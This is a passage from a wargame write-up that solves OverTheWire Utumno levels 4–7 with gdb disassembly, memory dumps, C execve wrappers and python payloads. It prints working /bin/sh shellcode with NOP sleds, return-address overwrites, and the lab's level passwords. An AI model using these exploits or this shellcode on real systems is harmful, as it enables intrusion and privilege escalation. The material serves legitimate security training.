0x42424242 in ?? ()
(gdb) x/300x $esp-300
0xfffed564:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed574:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed584:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed594:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed5a4:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed5b4:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed5c4:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed5d4:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed5e4:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed5f4:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed604:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed614:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed624:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed634:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed644:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed654:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed664:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed674:	0x31909090	0xb0e1f7c9	0x2f68510b	0x6868732f
0xfffed684:	0x6e69622f	0x80cde389	0x42424242	0x90909090
0xfffed694:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed6a4:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed6b4:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed6c4:	0x90909090	0x90909090	0x90909090	0x90909090
0xfffed6d4:	0x90909090	0x90909090	0x90909090	0x90909090

Here I used 0xfffed660. I also added some NOP after the shellcode as I had some issue running the shellcode.

utumno4@utumno:/utumno$ ./utumno4 65536 $(python -c "print '\x90' * 65257 + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + 8 * '\x90' + '\x60\xd6\xfe\xff' + 'C' * 246")
$ whoami
utumno5
$ cat /etc/utumno_pass/utumno5
woucaejiek

Easy !

Utumno 05 Solution

SSH : ssh utumno5@utumno.labs.overthewire.org -p 2227
Pass : woucaejiek

As usual, let’s take a look at the code…

$ gdb -q ./utumno5
Reading symbols from ./utumno5...done.
(gdb) set disassembly-flavor intel
(gdb) set disassemble-next-line on
(gdb) disas main
Dump of assembler code for function main:
   0x08048516 <+0>:	push   ebp
   0x08048517 <+1>:	mov    ebp,esp
   0x08048519 <+3>:	cmp    DWORD PTR [ebp+0x8],0x0
   0x0804851d <+7>:	je     0x8048533 <main+29>
   0x0804851f <+9>:	push   0x80485f0
   0x08048524 <+14>:	call   0x8048380 <puts@plt>
   0x08048529 <+19>:	add    esp,0x4
   0x0804852c <+22>:	push   0x1
   0x0804852e <+24>:	call   0x8048390 <exit@plt>
   0x08048533 <+29>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048536 <+32>:	add    eax,0x28
   0x08048539 <+35>:	mov    eax,DWORD PTR [eax]
   0x0804853b <+37>:	push   eax
   0x0804853c <+38>:	push   0x80485f5
   0x08048541 <+43>:	call   0x8048360 <printf@plt>
   0x08048546 <+48>:	add    esp,0x8
   0x08048549 <+51>:	mov    eax,DWORD PTR [ebp+0xc]
   0x0804854c <+54>:	add    eax,0x28
   0x0804854f <+57>:	mov    eax,DWORD PTR [eax]
   0x08048551 <+59>:	push   eax
   0x08048552 <+60>:	call   0x80484db <hihi>
   0x08048557 <+65>:	add    esp,0x4
   0x0804855a <+68>:	mov    eax,0x0
   0x0804855f <+73>:	leave
   0x08048560 <+74>:	ret
End of assembler dump.
(gdb) disas hihi
Dump of assembler code for function hihi:
   0x080484db <+0>:	push   ebp
   0x080484dc <+1>:	mov    ebp,esp
   0x080484de <+3>:	sub    esp,0xc
   0x080484e1 <+6>:	push   DWORD PTR [ebp+0x8]
   0x080484e4 <+9>:	call   0x80483a0 <strlen@plt>
   0x080484e9 <+14>:	add    esp,0x4
   0x080484ec <+17>:	cmp    eax,0x13
   0x080484ef <+20>:	jbe    0x8048504 <hihi+41>
   0x080484f1 <+22>:	push   0x14
   0x080484f3 <+24>:	push   DWORD PTR [ebp+0x8]
   0x080484f6 <+27>:	lea    eax,[ebp-0xc]
   0x080484f9 <+30>:	push   eax
   0x080484fa <+31>:	call   0x80483c0 <strncpy@plt>
   0x080484ff <+36>:	add    esp,0xc
   0x08048502 <+39>:	jmp    0x8048513 <hihi+56>
   0x08048504 <+41>:	push   DWORD PTR [ebp+0x8]
   0x08048507 <+44>:	lea    eax,[ebp-0xc]
   0x0804850a <+47>:	push   eax
   0x0804850b <+48>:	call   0x8048370 <strcpy@plt>
   0x08048510 <+53>:	add    esp,0x8
   0x08048513 <+56>:	nop
   0x08048514 <+57>:	leave
   0x08048515 <+58>:	ret
End of assembler dump.
(gdb)

This challenge is quite similar to the second one as we need to have no args passed to the executable. We just need to reuse our old code to have an empty argc.

#include <unistd.h>

void main() {
    execve("/utumno/utumno5", NULL, NULL);
}
utumno5@utumno:/tmp/ax$ gcc -m32 code.c -o code
utumno5@utumno:/tmp/ax$ ltrace ./code
__libc_start_main(0x565555a0, 1, 0xffffd764, 0x565555e0 <unfinished ...>
execve(0x56555660, 0, 0, 0x565555b4 <no return ...>
--- Called exec() ---
__libc_start_main(0x8048516, 0, 0xffffdf14, 0x8048570 <unfinished ...>
printf("Here we go - %s\n", "\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !"#$%&'()*+,-./0"... <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

Hum, segfault… Let’s add some environment variables.

#include <unistd.h>

void main() {
    char *envp[] = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L"};
    execve("/utumno/utumno5", NULL, envp);
}
utumno5@utumno:/tmp/ax$ gcc -m32 code.c -o code
utumno5@utumno:/tmp/ax$ ltrace ./code
__libc_start_main(0x565555a0, 1, 0xffffd764, 0x56555660 <unfinished ...>
execve(0x565556f8, 0, 0xffffd680, 0x565555b7 <no return ...>
--- Called exec() ---
__libc_start_main(0x8048516, 0, 0xffffdec4, 0x8048570 <unfinished ...>
printf("Here we go - %s\n", "J"Here we go - J
)                             = 15
strlen("J")                                                  = 1
strcpy(0xffffde10, "J")                                      = 0xffffde10
+++ exited (status 0) +++

Interesting… the 10th argument is printed. Let’s try to overflow this variable.

#include <unistd.h>

void main() {
    char *envp[] = {"", "", "", "", "", "", "", "", "", "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII"};
    execve("/utumno/utumno5", NULL, envp);
}
utumno5@utumno:/tmp/ax$ strace ./code
execve("./code", ["./code"], [/* 20 vars */]) = 0
strace: [ Process PID=16264 runs in 32 bit mode. ]
brk(NULL)                               = 0x56558000

...[removed]...

fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
brk(NULL)                               = 0x804a000
brk(0x806b000)                          = 0x806b000
write(1, "Here we go - AAAABBBBCCCCDDDDEEE"..., 50Here we go - AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII
) = 50
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x45454545} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault

Awesome, we overwrite the return address at EEEE. Let’s add a shellcode in the 9th value and find a proper return value on the NOP sled.

#include <unistd.h>

void main() {
    char *envp[] = {"", "", "", "", "", "", "", "", "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80", "AAAABBBBCCCCDDDDBBBB"};
    execve("/utumno/utumno5", NULL, envp);
}
utumno5@utumno:/tmp/ax$ gdb -q ./code
Reading symbols from ./code...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) run
Starting program: /tmp/ax/code
process 16279 is executing new program: /utumno/utumno5
Here we go - AAAABBBBCCCCDDDDEEEE

Program received signal SIGSEGV, Segmentation fault.
0x45454545 in ?? ()
(gdb) x/3000x $esp-3000
0xffffd22c:	0x00000000	0x00000000	0x00000000	0x00000000
0xffffd23c:	0x00000000	0x00000000	0x00000000	0x00000000

...[removed]...

0xffffdf3c:	0xffffdf6b	0x0000001a	0x00000000	0x0000001f
0xffffdf4c:	0xffffdfe8	0x0000000f	0xffffdf7b	0x00000000
0xffffdf5c:	0x00000000	0x00000000	0x00000000	0xfb000000
0xffffdf6c:	0x5c1f90e5	0xa999cdf6	0x51d9db57	0x695fa607
0xffffdf7c:	0x00363836	0x00000000	0x00000000	0x90909000
0xffffdf8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdf9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdfac:	0x90909090	0x90909090	0x90909090	0x31909090
0xffffdfbc:	0xb0e1f7c9	0x2f68510b	0x6868732f	0x6e69622f
0xffffdfcc:	0x80cde389	0x41414100	0x42424241	0x43434342
0xffffdfdc:	0x44444443	0x45454544	0x00010045	0x7574752f
0xffffdfec:	0x2f6f6e6d	0x6d757475	0x00356f6e	0x00000000
0xffffdffc:	0x00000000	Cannot access memory at address 0xffffe000
(gdb)
(gdb)

Here we could use 0xffffdf8c as the return address.

#include <unistd.h>

void main() {
    char *envp[] = {"", "", "", "", "", "", "", "", "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80", "AAAABBBBCCCCDDDD\x8c\xdf\xff\xff"};
    execve("/utumno/utumno5", NULL, envp);
}

Now, we can compile our code and get the shell !

utumno5@utumno:/tmp/ax$ gcc -m32 code.c -o code
utumno5@utumno:/tmp/ax$ ./code
Here we go - AAAABBBBCCCCDDDD����
$ whoami
utumno6
$ cat /etc/utumno_pass/utumno6
eiluquieth

Done !

Utumno 06 Solution

SSH : ssh utumno6@utumno.labs.overthewire.org -p 2227
Pass : eiluquieth

Ok, first we’ll check if this executable needs some args.

utumno6@utumno:/utumno$ ./utumno6
Missing args
utumno6@utumno:/utumno$ ./utumno6 1
Missing args
utumno6@utumno:/utumno$ ./utumno6 1 2
Segmentation fault
utumno6@utumno:/utumno$ ./utumno6 1 2 3
Table position 1 has value 2
Description: 3

It looks like some kind of key-value storage. The first argument is the position in the table, the second is the value itself and the third is a description of the value.

utumno6@utumno:/utumno$ gdb -q ./utumno6
Reading symbols from ./utumno6...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x080484db <+0>:	push   ebp
   0x080484dc <+1>:	mov    ebp,esp
   0x080484de <+3>:	sub    esp,0x34
   0x080484e1 <+6>:	cmp    DWORD PTR [ebp+0x8],0x2 ; check if at least 2 args are present
   0x080484e5 <+10>:	jg     0x80484fb <main+32>
   0x080484e7 <+12>:	push   0x8048630
   0x080484ec <+17>:	call   0x8048390 <puts@plt>
   0x080484f1 <+22>:	add    esp,0x4
   0x080484f4 <+25>:	push   0x1
   0x080484f6 <+27>:	call   0x80483a0 <exit@plt>
   0x080484fb <+32>:	push   0x20
   0x080484fd <+34>:	call   0x8048380 <malloc@plt>
   0x08048502 <+39>:	add    esp,0x4
   0x08048505 <+42>:	mov    DWORD PTR [ebp-0x34],eax
   0x08048508 <+45>:	mov    eax,DWORD PTR [ebp-0x34]
   0x0804850b <+48>:	test   eax,eax
   0x0804850d <+50>:	jne    0x8048523 <main+72>
   0x0804850f <+52>:	push   0x804863d
   0x08048514 <+57>:	call   0x8048390 <puts@plt>
   0x08048519 <+62>:	add    esp,0x4
   0x0804851c <+65>:	push   0x1
   0x0804851e <+67>:	call   0x80483a0 <exit@plt>
   0x08048523 <+72>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048526 <+75>:	add    eax,0x8
   0x08048529 <+78>:	mov    eax,DWORD PTR [eax]
   0x0804852b <+80>:	push   0x10
   0x0804852d <+82>:	push   0x0
   0x0804852f <+84>:	push   eax
   0x08048530 <+85>:	call   0x80483b0 <strtoul@plt> ; convert the second value to int base16
   0x08048535 <+90>:	add    esp,0xc
   0x08048538 <+93>:	mov    DWORD PTR [ebp-0x4],eax
   0x0804853b <+96>:	mov    eax,DWORD PTR [ebp+0xc]
   0x0804853e <+99>:	add    eax,0x4
   0x08048541 <+102>:	mov    eax,DWORD PTR [eax]
   0x08048543 <+104>:	push   0xa
   0x08048545 <+106>:	push   0x0
   0x08048547 <+108>:	push   eax
   0x08048548 <+109>:	call   0x80483b0 <strtoul@plt> ; convert the first value to int base10
   0x0804854d <+114>:	add    esp,0xc
   0x08048550 <+117>:	mov    DWORD PTR [ebp-0x8],eax
   0x08048553 <+120>:	cmp    DWORD PTR [ebp-0x8],0xa
   0x08048557 <+124>:	jle    0x804856d <main+146>
   0x08048559 <+126>:	push   0x804865c
   0x0804855e <+131>:	call   0x8048390 <puts@plt>
   0x08048563 <+136>:	add    esp,0x4
   0x08048566 <+139>:	push   0x1
   0x08048568 <+141>:	call   0x80483a0 <exit@plt>
   0x0804856d <+146>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048570 <+149>:	mov    edx,DWORD PTR [ebp-0x4]
   0x08048573 <+152>:	mov    DWORD PTR [ebp+eax*4-0x30],edx
   0x08048577 <+156>:	mov    eax,DWORD PTR [ebp+0xc]
   0x0804857a <+159>:	add    eax,0xc
   0x0804857d <+162>:	mov    edx,DWORD PTR [eax]
   0x0804857f <+164>:	mov    eax,DWORD PTR [ebp-0x34]
   0x08048582 <+167>:	push   edx
   0x08048583 <+168>:	push   eax
   0x08048584 <+169>:	call   0x8048370 <strcpy@plt>
   0x08048589 <+174>:	add    esp,0x8
   0x0804858c <+177>:	mov    edx,DWORD PTR [ebp-0x34]
   0x0804858f <+180>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048592 <+183>:	mov    eax,DWORD PTR [ebp+eax*4-0x30]
   0x08048596 <+187>:	push   edx
   0x08048597 <+188>:	push   eax
   0x08048598 <+189>:	push   DWORD PTR [ebp-0x8]
   0x0804859b <+192>:	push   0x8048684
   0x080485a0 <+197>:	call   0x8048360 <printf@plt>
   0x080485a5 <+202>:	add    esp,0x10
   0x080485a8 <+205>:	mov    eax,0x0
   0x080485ad <+210>:	leave
   0x080485ae <+211>:	ret
End of assembler dump.

It seems that the code do some convertion on the args. The first arg is converted to base10, the second to base16 and the third is a string.

utumno6@utumno:/utumno$ ./utumno6 8 A foobar
Table position 8 has value 10
Description: foobar

After some test, I realised that by passing an invalid postion (-1) we can use the second argument as a return address.

utumno6@utumno:/utumno$ strace ./utumno6 -1 0x41414141 foobar
execve("./utumno6", ["./utumno6", "-1", "0x41414141", "foobar"], [/* 20 vars */]) = 0
strace: [ Process PID=16355 runs in 32 bit mode. ]

...[removed]...

--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
+++ killed by SIGSEGV +++
Segmentation fault

However, when we run it into GDB we get a different result :

utumno6@utumno:/utumno$ gdb -q ./utumno6
Reading symbols from ./utumno6...done.
(gdb) set disassembly-flavor intel
(gdb) run -1 0x41414141 BBBB
Starting program: /utumno/utumno6 -1 0x41414141 BBBB

Program received signal SIGSEGV, Segmentation fault.
0xf7e998d2 in ?? () from /lib32/libc.so.6

So, I tried to take a valid value from the stack, the first one 0xffffd628.

(gdb) x/16x $esp
0xffffd628:	0x08048589	0x41414141	0xffffd869	0x41414141
0xffffd638:	0xf7e40890	0x080485fb	0x00000004	0xffffd704
0xffffd648:	0xffffd718	0x080485d1	0xf7fc53dc	0x0804822c
0xffffd658:	0x080485b9	0x00000000	0xffffffff	0x41414141
(gdb) run -1 0xffffd628 BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno6 -1 0xffffd628 BBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

That’s an interesting result. It seems that the second args can point to the third args and use it as a return address (I had to admit that it was a lucky shot). Now, we could create an environment variable with a shellcode and set the second argument to point to the third argument. The third argument will contains an address pointing to the NOP sled.

First, we export a shellcode with a generous NOP sled.

utumno6@utumno:/utumno$ export EGG=$(python -c "print 300 * '\x90' + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'")

Now, based on our previous discovery, we will segfault the executable to get the address pointed by ESP.

utumno6@utumno:/utumno$ gdb -q ./utumno6
Reading symbols from ./utumno6...done.
(gdb) set disassembly-flavor intel
(gdb) set disassemble-next-line on
(gdb) run -1 0xffffffff $(python -c "print 'BBBB'")
Starting program: /utumno/utumno6 -1 0xffffffff $(python -c "print 'BBBB'")

Program received signal SIGSEGV, Segmentation fault.
0xf7e998d2 in ?? () from /lib32/libc.so.6
=> 0xf7e998d2:	89 02	mov    DWORD PTR [edx],eax
(gdb) info reg esp
esp            0xffffd4e8	0xffffd4e8
(gdb) run -1 0xffffd4e8 $(python -c "print 'BBBB'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno6 -1 0xffffd4e8 $(python -c "print 'BBBB'")

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
=> 0x42424242:	Cannot access memory at address 0x42424242
(gdb)

Then we will try to find the address of our NOP sled and set it as third argument.

gdb) x/2048x $esp
0xffffd4ec:	0xffffd400	0xffffd723	0xffffd4e8	0xf7e40890
0xffffd4fc:	0x080485fb	0x00000004	0xffffd5c4	0xffffd5d8

...[removed]...

0xffffdcec:	0x3d667073	0x333b3030	0x53003a36	0x435f4853
0xffffdcfc:	0x454e4e4f	0x4f495443	0x30313d4e	0x36312e34
0xffffdd0c:	0x36312e33	0x36382e39	0x37383520	0x31203337
0xffffdd1c:	0x312e3239	0x312e3836	0x392e3130	0x32322030
0xffffdd2c:	0x47474500	0x9090903d	0x90909090	0x90909090
0xffffdd3c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdd4c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdd5c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdd6c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdd7c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdd8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdd9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddac:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddbc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddcc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdddc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddec:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddfc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde0c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde1c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde2c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde3c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde4c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde5c:	0xf7c93190	0x510bb0e1	0x732f2f68	0x622f6868
0xffffde6c:	0xe3896e69	0x5f0080cd	0x73752f3d	0x69622f72
0xffffde7c:	0x64672f6e	0x414c0062	0x653d474e	0x53555f6e
0xffffde8c:	0x4654552e	0x4f00382d	0x5750444c	0x682f3d44
(gdb) run -1 0xffffd4e8 $(python -c "print '\xcc\xdd\xff\xff'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno6 -1 0xffffd4e8 $(python -c "print '\xcc\xdd\xff\xff'")
process 26560 is executing new program: /bin/dash
$

Finally, we try the same without GDB. I added 30 bytes to the second arguments to get a shell. Depending on your environment, try to increment it 10 by 10. Eventually you’ll get the shell.

utumno6@utumno:/utumno$ ./utumno6 -1 0xffffd518 $(python -c "print '\xcc\xdd\xff\xff'")
$ whoami
utumno7
$ cat /etc/utumno_pass/utumno7
totiquegae

Done.

Utumno 07 Solution

SSH : ssh utumno7@utumno.labs.overthewire.org -p 2227
Pass : totiquegae

Let’s disassemble each function of this challenge.

utumno7@utumno:/utumno$ gdb -q ./utumno7
Reading symbols from ./utumno7...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048501 <+0>:	push   ebp
   0x08048502 <+1>:	mov    ebp,esp
   0x08048504 <+3>:	cmp    DWORD PTR [ebp+0x8],0x1
   0x08048508 <+7>:	jg     0x8048511 <main+16>
   0x0804850a <+9>:	push   0x1
   0x0804850c <+11>:	call   0x8048380 <exit@plt>
   0x08048511 <+16>:	push   0x80485d0
   0x08048516 <+21>:	call   0x8048370 <puts@plt>
   0x0804851b <+26>:	add    esp,0x4
   0x0804851e <+29>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048521 <+32>:	add    eax,0x4
   0x08048524 <+35>:	mov    eax,DWORD PTR [eax]
   0x08048526 <+37>:	push   eax
   0x08048527 <+38>:	call   0x80484ab <vuln>
   0x0804852c <+43>:	add    esp,0x4
   0x0804852f <+46>:	mov    eax,0x0
   0x08048534 <+51>:	leave
   0x08048535 <+52>:	ret
End of assembler dump.
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x080484ab <+0>:	push   ebp
   0x080484ac <+1>:	mov    ebp,esp
   0x080484ae <+3>:	sub    esp,0x120
   0x080484b4 <+9>:	mov    DWORD PTR [ebp-0x4],0x0
   0x080484bb <+16>:	lea    eax,[ebp-0xa0]
   0x080484c1 <+22>:	mov    ds:0x8049868,eax
   0x080484c6 <+27>:	lea    eax,[ebp-0xa0]
   0x080484cc <+33>:	push   eax
   0x080484cd <+34>:	call   0x8048350 <_setjmp@plt>
   0x080484d2 <+39>:	add    esp,0x4
   0x080484d5 <+42>:	mov    DWORD PTR [ebp-0x4],eax
   0x080484d8 <+45>:	cmp    DWORD PTR [ebp-0x4],0x0
   0x080484dc <+49>:	jne    0x80484fa <vuln+79>
   0x080484de <+51>:	push   DWORD PTR [ebp+0x8]
   0x080484e1 <+54>:	lea    eax,[ebp-0x120]
   0x080484e7 <+60>:	push   eax
   0x080484e8 <+61>:	call   0x8048360 <strcpy@plt>
   0x080484ed <+66>:	add    esp,0x8
   0x080484f0 <+69>:	push   0x17
   0x080484f2 <+71>:	call   0x8048536 <jmp>
   0x080484f7 <+76>:	add    esp,0x4
   0x080484fa <+79>:	mov    eax,0x0
   0x080484ff <+84>:	leave
   0x08048500 <+85>:	ret
End of assembler dump.
(gdb) disas _setjmp
Dump of assembler code for function _setjmp@plt:
   0x08048350 <+0>:	jmp    DWORD PTR ds:0x8049848
   0x08048356 <+6>:	push   0x8
   0x0804835b <+11>:	jmp    0x8048330
End of assembler dump.
(gdb) disas jmp
Dump of assembler code for function jmp:
   0x08048536 <+0>:	push   ebp
   0x08048537 <+1>:	mov    ebp,esp
   0x08048539 <+3>:	mov    eax,ds:0x8049868
   0x0804853e <+8>:	push   DWORD PTR [ebp+0x8]
   0x08048541 <+11>:	push   eax
   0x08048542 <+12>:	call   0x8048340 <longjmp@plt>
End of assembler dump.

Without reversing the logic of the code, after a few try, I was able to overflow the return address :

utumno7@utumno:/utumno$ gdb -q ./utumno7
Reading symbols from ./utumno7...done.
(gdb) set disassembly-flavor intel
(gdb) set disassemble-next-line on
(gdb) run $(python -c 'print "A"*140')
Starting program: /utumno/utumno7 $(python -c 'print "A"*140')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
=> 0x41414141:	Cannot access memory at address 0x41414141

Then, by adding 4 bytes to the buffer. The code break somewhere at vuln+42 :

(gdb) set disassemble-next-line on
(gdb) run $(python -c 'print "A"*140 + "BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno7 $(python -c 'print "A"*140 + "BBBB"')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x080484d5 in vuln (arg=<error reading variable: Cannot access memory at address 0x4242424a>)
    at utumno7.c:23
23	in utumno7.c
   0x080484c6 <vuln+27>:	8d 85 60 ff ff ff	lea    eax,[ebp-0xa0]
   0x080484cc <vuln+33>:	50	push   eax
   0x080484cd <vuln+34>:	e8 7e fe ff ff	call   0x8048350 <_setjmp@plt>
   0x080484d2 <vuln+39>:	83 c4 04	add    esp,0x4
=> 0x080484d5 <vuln+42>:	89 45 fc	mov    DWORD PTR [ebp-0x4],eax

By replacing BBBB with an address pointing to our buffer we get the control over the EIP :

(gdb) run $(python -c 'print "A"*140 + "\xe4\xd7\xff\xff"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno7 $(python -c 'print "A"*140 + "\xe4\xd7\xff\xff"')
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
=> 0x41414141:	Cannot access memory at address 0x41414141

Afer a few try, I was able to properly control the return address :

(gdb) run $(python -c "print 'AAAA' + 'BBBB' +  '\x90' * 132 + '\xdd\xd7\xff\xff'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno7 $(python -c "print 'AAAA' + 'BBBB' +  '\x90' * 132 + '\xdd\xd7\xff\xff'")
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
=> 0x42424242:	Cannot access memory at address 0x42424242

Now we can place a standard /bin/sh shellcode and find a return address.

utumno7@utumno:/utumno$ gdb -q ./utumno7
Reading symbols from ./utumno7...done.
(gdb) set disassembly-flavor intel
(gdb) set disassemble-next-line on
(gdb) run $(python -c "print 'AAAA' + 'BBBB' +  '\x90' * 111  + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + '\xdd\xd7\xff\xff'")
Starting program: /utumno/utumno7 $(python -c "print 'AAAA' + 'BBBB' +  '\x90' * 111  + '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80' + '\xdd\xd7\xff\xff'")
lol ulrich && fuck hector

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
=> 0x42424242:	Cannot access memory at address 0x42424242
(gdb) x/512x $esp-500
0xffffd5f1:	0xdd080485	0x00ffffd7	0x86000000	0x02f7e2a2

...[removed]...

0xffffd7c1:	0x00000000	0x00000000	0x00000000	0x7574752f
0xffffd7d1:	0x2f6f6e6d	0x6d757475	0x00000017	0x41414141
0xffffd7e1:	0x42424242	0x90909090	0x90909090	0x90909090
0xffffd7f1:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd801:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd811:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd821:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd831:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd841:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd851:	0x31909090	0xb0e1f7c9	0x2f68510b	0x6868732f
0xffffd861:	0x6e69622f	0x80cde389	0xffffd7dd	0x5f434c00
0xffffd871:	0x3d4c4c41	0x555f6e65	0x54552e53	0x00382d46
0xffffd881:	0x435f534c	0x524f4c4f	0x73723d53	0x643a303d
0xffffd891:	0x31303d69	0x3a34333b	0x303d6e6c	0x36333b31
0xffffd8a1:	0x3d686d3a	0x703a3030	0x30343d69	0x3a33333b
0xffffd8b1:	0x303d6f73	0x35333b31	0x3d6f643a	0x333b3130
0xffffd8c1:	0x64623a35	0x3b30343d	0x303b3333	0x64633a31
0xffffd8d1:	0x3b30343d	0x303b3333	0x726f3a31	0x3b30343d
0xffffd8e1:	0x303b3133	0x696d3a31	0x3a30303d	0x333d7573
0xffffd8f1:	0x31343b37	0x3d67733a	0x343b3033	0x61633a33
0xffffd901:	0x3b30333d	0x743a3134	0x30333d77	0x3a32343b
0xffffd911:	0x333d776f	0x32343b34	0x3d74733a	0x343b3733
0xffffd921:	0x78653a34	0x3b31303d	0x2a3a3233	0x7261742e
0xffffd931:	0x3b31303d	0x2a3a3133	0x7a67742e	0x3b31303d
0xffffd941:	0x2a3a3133	0x6372612e	0x3b31303d	0x2a3a3133
0xffffd951:	0x6a72612e	0x3b31303d	0x2a3a3133	0x7a61742e
0xffffd961:	0x3b31303d	0x2a3a3133	0x61686c2e	0x3b31303d
0xffffd971:	0x2a3a3133	0x347a6c2e	0x3b31303d	0x2a3a3133
0xffffd981:	0x687a6c2e	0x3b31303d	0x2a3a3133	0x6d7a6c2e
0xffffd991:	0x31303d61	0x3a31333b	0x6c742e2a	0x31303d7a
0xffffd9a1:	0x3a31333b	0x78742e2a	0x31303d7a	0x3a31333b
0xffffd9b1:	0x7a742e2a	0x31303d6f	0x3a31333b	0x37742e2a
0xffffd9c1:	0x31303d7a	0x3a31333b	0x697a2e2a	0x31303d70
0xffffd9d1:	0x3a31333b	0x3d7a2e2a	0x333b3130	0x2e2a3a31
0xffffd9e1:	0x31303d5a	0x3a31333b	0x7a642e2a	0x3b31303d
---Type <return> to continue, or q <return> to quit---q
